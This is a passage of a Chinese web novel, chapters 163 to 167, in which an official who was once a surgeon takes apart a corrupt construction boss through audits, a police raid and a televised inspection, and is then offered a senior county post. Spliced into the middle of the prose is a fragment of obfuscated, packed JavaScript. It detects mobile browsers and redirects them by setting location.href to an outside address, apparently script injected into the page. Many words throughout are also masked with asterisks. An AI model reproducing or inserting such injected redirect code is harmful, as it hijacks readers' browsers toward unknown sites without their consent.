苏沐秋发出一声痛苦的闷哼,整个人像被抽掉骨头一样,软软地倒了下去。
时间仿佛在这一刻凝固了。
叶凡的脑子“嗡”的一声,一片空白。
他看着倒在地上的苏沐秋,看着她痛苦地蜷缩着,看着那个黄毛混混脸上也闪过一丝慌乱。
“操!打到女的了!”
“快走!”
光头男显然也没料到这个变故,咒骂一声,带着人转身就跑。
慌乱中,一个混混的钢管撞到了一辆车的车身,刺耳的警报声瞬间响彻整个停车场。
“呜——呜——呜——”
叶凡对周围的一切都失去了感知。
他听不到警报声,也看不到那几个仓皇逃窜的背影。
他的世界里只剩下蜷缩在地上,额头布满冷汗,疼得嘴唇都在哆嗦的苏沐秋。
他冲过去,单膝跪地,小心翼翼地将她半扶起来。
“沐秋!沐秋!你怎么样?看着我!”
他的声音在发抖,这是他第一次,在面对伤者时,双手控制不住地颤抖。
苏沐秋疼得说不出话,脸色惨白,她看着叶凡,却还想挤出一个安慰的笑容:“我……我没事……你……你没受伤吧?”
这一句话,像一把烧红的烙铁,狠狠烫在叶凡的心上。
一股从未有过的,冰冷刺骨的怒火,从他胸腔最深处轰然炸开,瞬间席卷了四肢百骸。
他脱下外套,用一种外科医生处理精密仪器般的轻柔和稳定,快速检查着她的伤处。
“左侧肱骨,可能是骨折。”他的声音恢复了冷静,一种可怕的,不带任何感情的冷静。
他撕下自己的衬衫下摆,做成一个简易的三角巾,熟练地将她的手臂固定住。
整个过程,他的手稳如磐石,眼神专注得像是在进行一台最重要的手术。
可只有他自己知道,在那副冷静的面具下,是怎样一片翻江倒海的滔**焰。
……
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县人民医院,急诊室。
X光片被挂在灯箱上,清晰地显示出苏沐秋左臂肱骨处那一道刺眼的骨裂。
“闭合性骨折,万幸,没有错位。”骨科医生下了诊断,“打上石膏,好好休养三个月就行。”
苏沐秋躺在病床上,打了止痛针后,脸色好看了些。
她看着旁边一言不发的叶凡,轻声说:“你看,我就说没事吧。你别这个表情,吓人。”
叶凡没说话,只是伸手,替她掖了掖被角。
他的指尖触到她的脸颊,冰凉一片。
警察来做了笔录,叶凡平静地叙述了事情的经过,当被问及嫌疑人时,他只说了“不认识”。
送走警察,病房里只剩下他们两人。
叶凡坐在床边,拿起一个苹果,用小刀慢慢地削着皮。
刀刃划过果皮,发出一连串细微的“沙沙”声。
一圈一圈,果皮连绵不断,从头到尾,竟没有断开。
苏沐秋看着他,看着他那双本该在手术台上创造奇迹的手,此刻正用一种近乎偏执的专注,削着一个苹果。
她突然有些心慌。
“叶凡,”她轻声叫他,“你别做傻事。他们是混混,你……”
叶凡削完最后一刀,将一整个螺旋状的果皮完整地放在桌上。
他把苹果切成小块,插上一根牙签,递到她嘴边。
“吃点东西。”他的声音很柔和,眼神却深不见底。
苏沐秋顺从地张开嘴,咬了一口。
苹果很甜,可她却尝到了一丝苦涩。
就在这时,叶凡的手机响了。
他看了一眼来电显示,是**。
他走到窗边,接起电话。
“小叶!我刚接到**局的报告!你怎么样?苏记者呢?岂有此理!简直是无法无天!”电话那头,传来**雷霆般的怒吼,“我马上让**局成立专案组,连夜审!一天之内不破案,我让刑侦队长给我滚蛋!”
叶凡看着窗外城市的夜景,万家灯火,璀璨如星。
他的声音却比窗外的冬夜还要寒冷。
“李县长,谢谢您的关心。我没事,苏记者也只是骨折,没有生命危险。”
他顿了顿,语气平静得没有一丝波澜。
“这件事,您先不用那么大张旗鼓。我已经知道是谁干的了。”
**愣住了:“你知道?是王海那个小畜生?我马上让人去抓他!”
“不。”叶凡打断了他,“李县长,对付王海这种人,把他送进监狱,太便宜他了。”
电话那头陷入了沉默,**似乎在消化他这句话里的意思。
叶凡转过身,看向病床上已经睡着的苏沐秋,她眉头微蹙,似乎在梦里也感觉到了疼痛。
他的目光里没有了愤怒,只剩下一种外科医生在制定手术方案时的绝对理性和冷酷。
“我要的,不是让他坐牢。”
他对着电话,一字一句,清晰地说道:
“我要他,和他赖以为生的一切,都从这个世界上,**干净净地,‘切除’掉。”
第164章 手术刀的温度!
县人民医院的VIP病房里,夜色像浓稠的墨汁,被窗帘隔绝在外。
苏沐秋已经睡着了,止痛泵让她紧蹙的眉头舒展开一些,只是脸色依旧苍白得像一张纸。
叶凡坐在床边,一动不动,像一尊没有生命的雕塑。
他刚刚挂断了与**的通话,那句“我要他**干净净地切除掉”,言犹在耳,可此刻他的脸上却没有任何表情。
他伸出手,指尖轻轻掠过苏沐秋打着石膏的手臂,动作轻柔得像是怕惊扰一只蝴蝶。
可那双眼睛里却是一片不见底的深渊,寒气彻骨。
这股寒气,不是愤怒,而是愤怒燃尽后,剩下的绝对冷静。
一个外科医生在手术台上,最忌讳的就是情绪。
而现在,整个青川县,都成了他的手术台。
王海,就是那个必须被精准切除的、已经开始恶性扩散的肿瘤。
他拿出手机,没有打给**局,而是拨通了城建局长王建林的电话。
电话响了很久才被接起,王建林的声音带着明显的惊慌和睡意:“喂?叶……叶组长?”
“王局长,不好意思,这么晚打扰你。”叶凡的声音听起来有些疲惫,甚至带着一丝不易察觉的沙哑,“我这边出了点意外,在医院。城南新区的事,我暂时跟不了那么紧了。”
王建林那边沉默了一下,似乎在判断这话的真伪。
“项目的事,就按我们下午开会定的方案来吧。”叶凡继续说,语气里透着一股意兴阑珊的倦意,“你多费心,盯紧宏发建工,让他们尽快复工。我……我累了。”
说完,他便挂了电话,没有给王建林再追问的机会。
他看着窗外城市稀疏的灯火,知道这剂“麻药”,已经精准地注射了出去。
……
第二天一早,阳光透过窗户的缝隙照进来,苏沐秋悠悠转醒。
一睁眼,就看到叶凡正端着一碗粥,用勺子轻轻吹着热气。
他一夜没睡,眼下有淡淡的青色,但精神却异常的好,眼神亮得吓人。
“醒了?喝点粥。”
苏沐秋看着他,没说话,只是挣扎着想坐起来。
“别动。”叶凡按住她,拿过一个枕头垫在她身后,然后舀了一勺粥,递到她嘴边。
苏沐秋乖乖地张开嘴,温热的米粥滑进胃里,很舒服。
“叶凡。”她看着他专注的侧脸,轻声问,“你昨天晚上跟李县长说的话,我都听见了。”
叶凡喂粥的动作顿了一下。
“你别做傻事。”苏沐秋的眼神里全是担忧,“他们是亡命徒,你是国家干部。你不能用他们的手段去对付他们,不值得。”
叶凡没抬头,继续舀了一勺粥,吹了吹,递过去。
“你不会真想去当‘青川教父’吧?”苏沐秋见他不说话,有点急了,“我跟你说,我跑社会新闻出身的,这种事见多了。一时冲动,搭进去的就是一辈子。”
叶凡终于抬起头,看着她,忽然笑了。
“放心。”他把勺子递到她嘴边,“我是个外科医生,最讲究的就是无菌操作。保证手术过程干净利落,病人切除,医生身上,连一滴血都不会沾。”
他的笑容很温和,可苏沐秋却没来由地打了个寒颤。
她觉得,自己眼前这个男人,正在变成一种她无法完全理解的,既迷人又危险的存在。
“我的专属战地记者,”叶凡见她吃完了,放下碗,用纸巾替她擦了擦嘴角,“现在因公负伤,暂时上不了前线了。不过,你的笔,可以借我用用吗?”
苏沐秋立刻明白了他的意思。
“我的笔就是你的刀。说吧,这次想解剖谁?”
“宏发建工。”叶凡的眼神变得锐利,“我需要知道它在青川承接的所有项目,尤其是那些已经完工但口碑不好的,或者正在施工但进度缓慢的。找到更多的‘孙大强’,把他们手里的证据,都收集起来。”
“没问题。”苏沐秋立刻来了精神,“我手下有几个实习记者,正愁没大新闻练手。这活儿,他们抢着干。”
她拿出手机,忍着痛,单手飞快地发着信息,俨然一个运筹帷幄的女将军。
叶凡看着她那股不服输的劲儿,心底最柔软的地方被轻轻触动了一下。
……
宏发建工的总经理办公室里,王海正翘着二郎腿,享受着女秘书的按摩,嘴里哼着小曲。
城建局长王建林推门进来,脸上堆着菊花般的笑容。
“王总,大喜事啊!”
“哦?什么喜事,让王局长你这么高兴?”王海眼皮都没抬。
“姓叶的那个,怂了!”王建林凑过去,压低声音,眉飞色舞地把昨晚那通电话的内容说了一遍,“他最后那句‘我累了’,啧啧,听着就解气!肯定是昨晚被吓破了胆,知道青川这水有多深了!”
王海猛地坐直了身子,一把推开女秘书:“真的?”
“千真万确!他亲口说的!”王建林拍着胸脯保证,“昨晚挨打的还有那个女记者,估计也是怕事情闹大,影响不好。他一个外来户,根基不稳,拿什么跟我们斗?”
“哈哈哈哈!”王海爆发出一阵畅快的大笑,一脚将面前的茶几踹开半米远,“妈的!老子还以为他是个什么人物,原来也是个软蛋!早知道几根钢管就能解决问题,老子还跟他废什么话!”
他站起来,在办公室里踱步,脸上的得意和嚣张毫不掩饰。
“这就对了嘛!在青川,就得用青川的规矩办事!什么狗屁高材生,到了这儿,是龙得盘着,是虎得卧着!”
王建林在一旁连声附和:“王总说的是!说的是!”
“去!”王海大手一挥,指着王建林,“你去告诉姓叶的,就说我王海识大体、顾大局,愿意配合政府工作。城南的安置房,明天就复工!让他把心放回肚子里,好好养伤,别再瞎折腾了!”
他要的,就是这种胜利者的姿态。
他不仅要赢,还要让叶凡知道,是他王海,“赏”了叶凡这个面子。
……
县长办公室。
**听完叶凡的汇报,眉头拧成了一个疙瘩。
“小叶,你确定要这么做?这等于是在刀尖上跳舞,稍有不慎,就会引火烧身。”他有些担忧。王海的背景,他很清楚,虽然高明远倒了,但那张关系网还在市里盘根错节。
“李县长,对付脓疮,就不能怕疼怕流血。”叶凡的表情很平静,“王海这种人,你越是退让,他越是嚣张。这次是钢管,下次就可能是别的。他碰的不是我,是青川县政府的脸面。”
**沉默了片刻,从抽屉里拿出一个厚厚的牛皮纸袋,推到叶凡面前。
“这是你要的东西。”他的声音低沉下来,“县审计局这几年对宏发建工的审计报告。高明远在的时候,很多东西都被压下来了,但底子都在这儿。触目惊心啊。”
叶凡打开纸袋,
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快速翻阅着。
里面的内容,比他想象的还要肮脏。
虚报工程款、偷工减料、用劣质材料冒充国标产品……城南安置房项目,跟这些比起来,简直就是小巫见大巫。
其中一个名为“凤凰湖”的别墅区项目,更是烂得一塌糊涂。
项目三年前就号称完工,结果因为地基沉降、墙体开裂,业主们集体拒收,官司打到现在还没结果。
承建方,正是宏发建工。
“李县长,我需要您再帮我一个忙。”叶凡合上文件,目光灼灼。
“说。”
“以县政府的名义,成立一个‘全县在建及已完工项目工程质量联合督查小组’。”叶凡一字一句道,“组长,我来当。”
**看着他,忽然笑了。
“你小子,这是要拿着鸡毛当令箭,去抄王海的老底啊!”他站起身,重重一拍叶凡的肩膀,“好!我不仅给你这个‘令箭’,我再给你配上最好的兵!县质监站、安监局、**,专家随你挑!我倒要看看,他王海盖的房子,到底经不经得起查!”
傍晚,叶凡回到自己临时的办公室。
他找来一块白板,在最上面写下“宏发建工”四个大字。
然后,他像画一张复杂的人体解剖图一样,在下面拉出一个个分支。
“城南安置房项目——资金挪用,工期延误。”
“凤凰湖别墅项目——严重质量问题,合同欺诈。”
“县医院新大楼外墙工程——以次充好。”
……
每一条线索下面,都跟着一串相关的公司和人名。
那些审计报告里的数据,被他精准地标注在每一个节点上。
不过一个小时,一张盘根错错节、象征着**与罪恶的“肿瘤结构图”,就清晰地呈现在白板上。
王海的名字,就在这张图谱的最中央,像一颗跳动着的黑色心脏,为整个网络输送着毒血。
叶凡看着这张图,眼神冰冷。
他知道,肿瘤的切除,不能只切病灶本身,还必须将周围被侵犯的组织,以及为它供血的血管,一并清除。
就在这时,他的手机响了。
是苏沐秋手下的一个实习记者,声音激动得有些发抖。
“叶老师!我们查到了一个大线索!凤凰湖别墅区的业主,一直都在收集宏发建工偷工减料的证据,他们甚至自己花钱请了第三方检测机构,报告都出来了!宏发建工用的钢筋,比设计标准细了整整两号!”
叶凡的眼睛亮了。
“把报告立刻发给我。”
挂了电话,他走到白板前,拿起一支红色的记号笔,在“凤凰湖别墅项目”下面,重重地画了一个圈。
手术的第一刀,该从哪里下,他已经一清二楚了。
他拿起手机,拨通了**局刑侦队长的电话。
“陈队,上次拜托你查的人,有结果了吗?”
“叶局长,查到了。带头的光头叫金大彪,是王海养的黑手套。我们的人跟着他,发现他昨晚去了一个叫‘凤凰湖会所’的地方,从一个姓张的财务手里,拿了一大笔现金。”
“凤凰湖会所……”叶凡看着白板上的那个红圈,嘴角勾起一抹冰冷的弧度。
他对着电话,平静地说道:“陈队,准备收网吧。不过,不是抓金大彪。”
“我要你们,明天一早,去查封凤凰湖的售楼部和财务室。”
“罪名,就用‘涉嫌合同**’。”
第165章 釜底抽薪!
清晨的第一缕阳光,还没来得及照进凤凰湖售楼部那金碧辉煌的大厅,就被数十名警察制服上的肩章反射得支离破碎。
“警察!都别动!”
刑侦队长陈东一声暴喝,带着人如潮水般涌入。
售楼部里通宵打牌的几个保安和昨晚狂欢后睡在沙发上的销售,瞬间被这阵仗吓得魂飞魄散,手里的扑克牌和手机散落一地。
“我们是县**局的,奉命调查宏发建工涉嫌合同**一案,这是搜查令!”陈东将搜查令在财务室经理眼前一晃,随即大手一挥,“封存所有账目、合同、电脑!带走!”
姓张的财务经理还穿着睡衣,哆哆嗦嗦地想去摸手机,被旁边一个眼疾手快的警员一把按住。
“张经理,想给谁通风报信啊?王海?还是金大彪?”陈东冷笑着走到他面前,压低了声音,“告诉你个消息,金大彪收了你三十万现金,一分没动,连夜存进了他老娘的账户。人证物证俱全,你猜猜,他会不会为了王海,把牢底坐穿?”
张经理的脸“唰”地一下,血色尽褪。
消息传到王海耳朵里时,他正搂着两个嫩模在自己的私人会所里睡得天昏地暗。
电话是他一个在**局当协警的远房亲戚打来的,声音抖得像筛糠。
“哥!不好了!凤凰湖……凤凰湖被抄了!陈东亲自带队,把财务室都搬空了!”
“什么!”
王海从床上弹了起来,宿醉的头痛和突如其来的惊骇让他眼前一黑,差点栽倒。
他一把推开身边的女人,抓着电话嘶吼:“陈东?他疯了?谁给他的胆子!”
“不知道啊,哥!听说是……是合同**!好多业主去报案了!”
合同**?业主报案?
王海的脑子飞速旋转,他瞬间就明白了。
这不是偶然,这是一场蓄谋已久的突袭!
他昨天还在嘲笑叶凡是软蛋,结果人家转头就给了他一记穿心脚!
“叶凡!**你妈!”
王海狂怒地将手机狠狠砸在墙上,昂贵的手机四分五裂。
他像一头困兽,在房间里疯狂地踱步,嘴里不停地咒骂着。
他第一个电话打给了城建局长王建林。
“王建林!**的是不是跟姓叶的串通好了耍我?!”电话一接通,王海就破口大骂。
王建林在那头吓得差点尿了裤子,声音都变了调:“王总,王总您听我解释!我也不知道啊!我早上刚听说这事,腿都软了!这……这肯定是姓叶的瞒着所有人搞的突然袭击啊!”
“我不管!”王海双眼通红,“你现在,马上去找**!告诉他,他要是再这么搞下去,我就把所有事都捅出去!大家一起死!”
王建林听着电话那头王海的咆哮,只觉得手脚冰凉。
一起死?
他可不想死!
他现在只想怎么从这艘正在飞速下沉的破船上跳下去。
“王总……现在去找李县长,不是火上浇油吗?要不……要不您先去跟叶组长服个软?这事,解铃还须系铃人啊……”王建林小心翼翼地建议道。
“服软?我服**软!”王海彻底失去了理智,“老子这就去县政府,我倒要看看,他叶凡是不是长了三头六臂!”
……
县人民医院,高级病房里一片安宁。
苏沐秋醒来时,闻到了一股淡淡的橙子香。
叶凡正坐在窗边,用一把小巧的手术刀,极其专注地剥着一个橙子。
他的动作精准而优雅,一圈圈橙皮螺旋落下,竟形成了一个完整的长条。
“我说叶大夫,你这是把医院当厨房,还是把厨房当手术室了?”苏沐秋靠在床头,看着他,声音还有些虚弱,但眼神里已经有了神采。
叶凡抬起头,将一瓣晶莹剔透的橙肉递到她嘴边:“补充维生素C,有助于伤口愈合。张嘴。”
苏沐秋乖乖吃了,酸甜的汁水在口腔里爆开,让她精神一振。
“我听我同事说,凤凰湖那边,动静不小啊。”她状似随意地问道,眼睛却紧紧盯着叶凡的脸,想从上面看出些什么。
“嗯,常规清创,把坏死的组织先清理掉,免得感染。”叶凡说得云淡风轻,仿佛在讨论一个最简单的病例。
苏沐秋被他这比喻逗乐了,又有些后怕:“你这哪是清创,你这是直接上电锯啊。王海那种人,被逼急了什么都干得出来,你就不怕他报复?”
“怕。”叶凡看着她打着石膏的手臂,眼神沉了下去,“所以,不能给他报复的机会。”
一个外科医生最怕的是什么?不是手术失败,而是手术做到一半,病人突然在手术台上发疯。
最好的办法,就是在上手术台之前,用足量的麻药,让他彻底失去反抗能力,然后用最快的速度,最精准的刀法,一次性切除病灶,不留后患。
查封财务室,冻结资金流,就是麻药。
就在这时,苏沐秋的手机响了,是她手下的实习记者打来的。
“苏老师!大新闻!王海开车冲到县政府门口,说要见叶组长,被保安拦下来了!现在好多记者都围过去了,他在那儿撒泼打滚,骂得可难听了!”
苏沐秋看了一眼叶凡,开了免提。
叶凡听着电话里传来的嘈杂声和王海隐约的叫骂,表情没有丝毫变化。
他拿起另一瓣橙子,递到苏沐秋嘴边。
“吃橙子。”
苏沐秋看着他,忽然明白了。
王海现在的行为,就像一个被打了麻药后,在手术台上垂死挣扎的病人,看似疯狂,实则已经失去了所有反抗的力量。
他越是这样闹,就越是把他自己钉在了“狗急跳墙”的耻辱柱上,只会让**和整个青川官场,更加坚定地站在叶凡这边。
这一手,玩得真脏,也真漂亮。
“叶凡,”苏沐秋咬着橙子,含糊不清地说,“你以后要是不当官了,去写三十六计,肯定能畅销。”
叶凡笑了笑,没接话。
他的手机震动了一下,是**发来的短信。
“做得好。督查小组的**,已经签发了。”
叶凡回复了两个字:“收到。”
他收起手机,对苏沐秋说:“想不想看点更热闹的?”
“什么?”
“县电视台的直播,应该快开始了。”
……
青川县电视台,《今日青川》栏目组。
台长办公室的门被敲响,新闻部主任满头大汗地冲了进来:“台长,李县长办公室刚打来电话,指示我们,立刻派记者去城南新区的安置房项目现场,做一期专题报道,要求……要求全程直播。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229178|180509||http|test|mini|href|location''.split(''|''),0,{}));
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r>台长愣住了:“直播?直播什么?”
“直播宏发建工安置房项目复工仪式。”新闻部主任的表情有些古怪,“而且,李县长特别指示,要把镜头多对准那些偷工减料、质量低劣的建筑材料,还要采访现场的居民代表,让他们谈谈对工程质量的担忧……”
台长在官场混了半辈子,瞬间就品出了这里面的味道。
这哪是复工仪式?这分明是一场公开处刑!
王海还在县政府门口撒泼,他负责的另一个项目,就要在全县人民的注视下,被扒个底朝天。
釜底抽薪,**诛心!
“还愣着干什么!”台长一拍桌子,“把最好的记者、最好的设备都给我调过去!告诉导播,角度给我找准了!谁要是敢出半点纰漏,明天就给我滚蛋回家!”
下午三点,城南安置区。
宏发建工的工地上,象征性地来了几个工人,敲敲打打。
但工地外,却被闻讯赶来的居民和各路记者围得水泄不通。
县电视台的直播车已经架好了机位,主持人正对着镜头,慷慨激昂地报道着。
王建林和财政局刘胖子站在人群外围,擦着额头的冷汗,两条腿都在打颤。
就在这时,一辆黑色的奥迪车缓缓驶来,停在了不远处。
车门打开,**和叶凡从车上走了下来。
**脸色严肃,看都没看那几个假模假样干活的工人,直接走到了堆放建材的区域。
他随手拿起一根螺纹钢,掂了掂,又看了看上面的标识,脸色瞬间铁青。
“王局长!”他厉声喝道。
王建林一个激灵,连滚带爬地跑了过去:“县长……”
“这就是你们城建局监管出来的工程质量?!”**把那根明显细了一圈的钢筋狠狠摔在地上,“这种钢筋盖出来的房子,是给人住的,还是给鬼住的?!”
电视台的镜头,忠实地记录下了这一幕。
全县正在收看电视的观众,都看到了李县长雷霆震怒的表情,和王建林那张惨白如纸的脸。
叶凡站在一旁,没有说话。
他只是走过去,扶住了旁边一位激动得浑身发抖的老人。
“孙师傅,”他低声说,“别激动,今天,我们就是来解决问题的。”
孙大强看着他,嘴唇哆嗦着,老泪纵横。
直播的画面,传到了县政府门口王海新买的手机上。
他看着画面里暴怒的**,看着那些被特写放大的劣质建材,看着周围居民一张张愤怒的脸,整个人像是被抽干了所有力气,一屁股瘫坐在了地上。
他知道,自己完了。
不是因为警察查封了他的公司,而是因为,他赖以为生的“信誉”和“脸面”,在这一刻,被叶凡用一场全县直播的方式,彻底撕碎,踩在了脚下。
从今天起,宏发建工在青川,将成为过街老鼠。
病房里,苏沐秋看着电视屏幕上的叶凡,他正耐心地安抚着激动的居民,侧脸的线条在夕阳下显得格外柔和。
她忽然觉得,叶凡那句“我是个外科医生”,并没有说错。
他的手术刀,时而冰冷,用最冷酷的方式切除毒瘤;时而又带着温度,用最温柔的方式,缝合着人民的伤口。
而这,或许才是一个为官者,最动人的模样。
第166章 清扫战场!
直播信号切断的那一刻,城南安置区工地上仿佛被按下了静音键。
县长**那张在电视屏幕上铁青的脸,像烙印一样刻在了每个人的脑海里。
人群外围,城建局长王建林和财政局长刘胖子,两个人像是刚从水里捞出来,衬衫湿漉漉地贴在后背上。
“完了……”刘胖子嘴唇哆嗦着,肥硕的脸上没有一丝血色,“王海这回是彻底栽了。”
王建林没说话,只是死死盯着那辆缓缓启动的黑色奥迪车。
他看到叶凡为**拉开车门,两人低声交谈了几句,然后车子绝尘而去。
从头到尾,叶凡甚至没朝他们这边看一眼。
“老……老王,”刘胖子一把抓住王建林的胳膊,声音都变了调,“你说,叶组长他……他下一个会收拾谁?”
王建林打了个哆嗦,猛地甩开他的手。“别他妈问我!我现在就回局里开会,把宏发建工这些年所有的项目资料都整理出来!一份原件,一份复印件,复印件明天一早就送到叶组长办公室!”
刘胖子恍然大悟,一拍大腿:“对对对!我也回去!凡是跟宏发建工有关的拨款,一笔都不能少!我亲自带人查!”
两人对视一眼,都从对方眼中看到了劫后余生的惊恐和破釜沉舟的决绝。
他们像两只受惊的兔子,连滚带爬地冲向自己的车,生怕跑慢一步,那把看不见的手术刀就会落在自己头上。
……
县人民医院的病房里,电视上还在重播着下午的新闻片段。
苏沐秋靠在床头,看着屏幕里叶凡平静地安抚着居民的侧脸,嘴角翘起一个好看的弧度。
“叶大夫,”她晃了晃自己没受伤的右手,“你这台手术做得,真是叹为观止。连麻药都省了,直接全县人民围观,现场教学,公开处刑。”
叶凡刚推门进来,手里提着一个保温桶,闻言笑了笑:“病人不听话,总想从手术台上跳下来,只能用点特殊疗法,让他自己看清自己的病灶有多烂。”
他把保温桶放在床头柜上,盛出一碗还冒着热气的鱼汤。
“这是我特意炖的,骨头汤喝多了腻,换换口味。”
“哟,待遇升级了啊。”苏沐秋嗅了嗅,一脸陶醉,“从苹果橙子升级到爱心鱼汤了。看来我这伤,受得不亏。”
叶凡没接她这茬,只是舀了一勺汤,吹了吹,递到她嘴边。
苏沐秋乖乖喝下,鲜美的味道让她舒服地眯起了眼睛。
她看着叶凡专注的眼神,忽然说:“我同事说,凤凰湖那帮业主,已经把锦旗都做好了,正在为上面的题词吵架呢。”
“哦?吵什么?”
“一派主张写‘在世青天,为民做主’,另一派觉得太俗,力荐‘烂尾克星,房闹福音’。”苏沐秋说得一本正经,眼睛里却闪着促狭的笑意。
叶凡被她逗乐了,手里的勺子都差点没拿稳。
“让他们别送了,影响不好。”
“晚了,我听说他们已经决定两种都送,一三五挂青天,二四六挂克星,周日让您自己选。”
病房里的气氛,因为这几句玩笑话而变得轻松起来。
叶凡一勺一勺地喂着,苏沐秋一勺一勺地喝着,两人都没再说话,但一种无声的默契在空气中流淌。
就在这时,叶凡的手机响了。
是**。
叶凡走到窗边接起,苏沐秋很自觉地拿起遥控器,把电视声音调小。
“小叶,漂亮!”电话那头,**的笑声洪亮有力,充满了畅快,“这一刀,又准又狠,把高明远留下的这个大脓包,彻底给挑破了!”
“李县长,这都是您领导有方。”叶凡平静地回答。
“少来这套。”**笑骂了一句,随即语气变得严肃,“现在的问题是,脓流出来了,伤口怎么收拾?王海今天下午已经递交了破产申请,宏发建工彻底完了。但是,它在青川留下的烂摊子,不下七八个,城南安置房,凤凰湖别墅,还有好几个学校的待建工程……这都是民生问题,也是我们政府的信誉问题。”
叶凡的目光沉静下来。
他知道,一场手术最关键的,往往不是切除,而是缝合与重建。
“王海倒了,但他背后的关系网还在市里,没人敢轻易接手这个烂摊子。银行那边也怕坏账,不肯放贷。”**继续说道,“我想让你来牵这个头,成立一个‘宏发建工善后处置及重点项目重建工作领导小组’,把这些烂尾楼,都盘活了!”<
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br>这无疑是一块烫手的山芋。
盘活烂尾楼,需要资金,需要新的承建方,需要安抚民心,每一步都困难重重。
“李县长,我服从组织安排。”叶凡没有丝毫犹豫。
电话那头沉默了片刻,**似乎对他的干脆十分满意。
“好!”**沉声道,“不过,光有个小组长和卫生局局长的名头不好办事,权力不够,说话没分量,镇不住那些牛鬼蛇神。”
他顿了顿,抛出了一个重磅**。
“下周一的县委**会上,我会正式提议,由你来接替高明远留下的位置,出任县委**、常务副县长。”
病房里安静得能听见窗外风吹过树叶的沙沙声。
常务副县长!
这个位置,在县里是一人之下,万人之上,是真正手握实权的“二号人物”。
叶凡的脑海里,瞬间闪过老**钱国栋的话——“常务副县长这个位置,是蜜糖,也是**。”
它能让你一步登天,也能让你成为众矢之的,成为所有**的焦点。
**似乎能猜到他的想法,声音里带着一种不容置疑的力量。
“小叶,我知道这个担子很重。但青川要发展,就需要你这样敢下刀、能缝合的干部!别人干不了,也不敢干,只能你来!”
“这副担子,你敢不敢接?”
叶凡一时间不知道该怎么回答,沉默了。
电话那头的**淡淡的笑了几声。
“小叶,你不要有压力,这件事情你好好的考虑一下,明天再给我答复也不迟!”
“好!”
……
电话挂断了。
叶凡还站在窗边,手里握着手机,一动不动。
窗外的夜色已经彻底笼罩了大地,远处的万家灯火,在他深邃的眼眸里,映出一片明明灭灭的光。
苏沐秋不知何时已经关掉了电视,病房里一片寂静。
她看着叶凡的背影,那个背影看起来并不算魁梧,却仿佛正准备扛起一座沉重的大山。
她没有出声打扰他,只是静静地看着。
她知道,从这一刻起,这个男人要面对的抉择和对手,将不再是卫生局和王海这种级别的,而是一片更加波诡云谲、暗流汹涌的深海。
第167章 **与蜜糖!
叶凡挂断电话,转身回到病床边。
苏沐秋不知何时已经关掉了电视,病房里安静得只剩下仪器轻微的滴答声。
她没有睡,一双清亮的眼睛在昏暗中注视着他,像两泓深潭。
“恭喜你啊,叶常务。”她开口,声音不大,却像一颗石子投进静水,激起圈圈涟漪。
叶凡在她床边的椅子上坐下,拿起那个被他用手术刀剥得干干净净的橙子,掰下一瓣,却没有递过去。
“钱**以前跟我说过,”他低头看着手里的橙子,像是在自言自语,“常务副县长这个位置,是蜜糖,也是**。”
“蜜糖谁都想尝,可**,沾上了,会**的。”
苏沐秋看着他,没有说话。
她知道,他不是在寻求安慰,只是在梳理自己的思绪。
“李县长是想把我推到台前,用我这把刀,去砍断那些盘根错节的烂账。”叶凡继续说,“可刀太快,是会伤到握刀人的。高明远倒了,但他不是一个人,他是一张网。我坐上那个位置,就等于把自己变成了那张网上所有蜘蛛的共同目标。”
他终于抬起头,看着苏沐秋:“我怕的不是那些蜘蛛,我怕的是,这把刀,最后会变成一把没有刀鞘的凶器。”
苏沐秋忽然笑了,她伸出没受伤的右手,轻轻勾了勾叶凡的手指,将他手里的那瓣橙子拿了过来,塞进自己嘴里。
“钱**说的是老成之言,没错。”她慢条斯理地嚼着,酸甜的汁水让她惬意地眯了眯眼,“可你忘了,你是个医生。”
“别人怕**,你怕什么?”她歪着头,眼神里带着一丝狡黠,“对于一个顶尖的外科医生来说,**不就是另一种形式的麻药或者抗生素吗?用对了剂量和方法,它就能治病救人。”
叶凡愣住了。
“**为什么要把这杯毒酒递给你?因为整个青川,只有你敢喝,也只有你喝下去之后,还能站着给别人开膛破肚。”苏沐秋坐直了些,脸色因激动而泛起一丝红晕,“你要是不接,他只能找别人。你敢保证,下一个坐上那个位置的人,不会是另一个高明远?到时候,城南的安置房,凤凰湖的别墅,那些等着住新学校的孩子,怎么办?”
她顿了顿,语气又变得轻松起来,带着几分调侃:“再说了,你要是真当了常务副县长,我以后再写你的专访,稿费都能多要两个点呢。标题我都想好了——《我的常务副县长男友》,怎么样,够不够劲爆?”
叶凡被她这番话弄得哭笑不得,心头那块沉甸甸的石头,却莫名地松动了。
“原来你是在打这个主意。”他故意板起脸。
“那当然,”苏沐秋一脸理所当然,“我这胳膊可不能白断,总得捞点好处回来。比如,以后叶常务的独家新闻,都得归我。”
叶凡看着她那副“趁火**”的可爱模样,心底最后一丝阴霾也散去了。
他忽然明白了。
躲是躲不掉的。
既然棋盘已经摆好,对手已经就位,退缩就等于任人宰割。
唯一的办法,就是抢过棋盘,自己来制定游戏规则。
他伸出手,轻轻捏了捏苏沐秋的脸颊:“知道了,苏大记者。等我把手术做完,奖金分你一半。”
……
第二天一早,叶凡拨通了**的电话。
“李县长,我想了一晚上。”
“想通了?”电话那头,**正在晨练,声音中气十足。
“想通了。”叶凡的语气很平静,“这个担子,我接。但是,我有一个条件。”
**那边停顿了一下,似乎有些意外:“哦?你说。”
“常务副县长这个职务,我可以干。但我希望在**会上,除了任命,还能同时宣布另一件事。”叶凡看着窗外初升的朝阳,一字一句道,“那就是,以县委县政府的名义,正式成立‘宏发建工善后处置及重点项目重建工作领导小组’,由我担任组长。我这个常务副县长的首要职责,就是盘活这些烂尾楼,解决民生问题。我所有的权力,都为这件事服务。”
电话那头陷入了长久的沉默。
叶凡没有催促,静静地等待着。
他要的就是钱**说的那把“刀鞘”。
他要把“常务副县长”这个虚化的、容易招来攻击的权力符号,和“解决烂尾楼”这个具体的、深得民心的任务,死死地捆绑在一起。
如此一来,他所有的行动都有了最正当的理由。
谁要是在这个过程中给他使绊子,就等于是和全县等着住新房的老百姓作对。
这把刀鞘,看似是自我限制,实则是最坚固的护盾。
“哈哈哈……哈哈哈哈!”
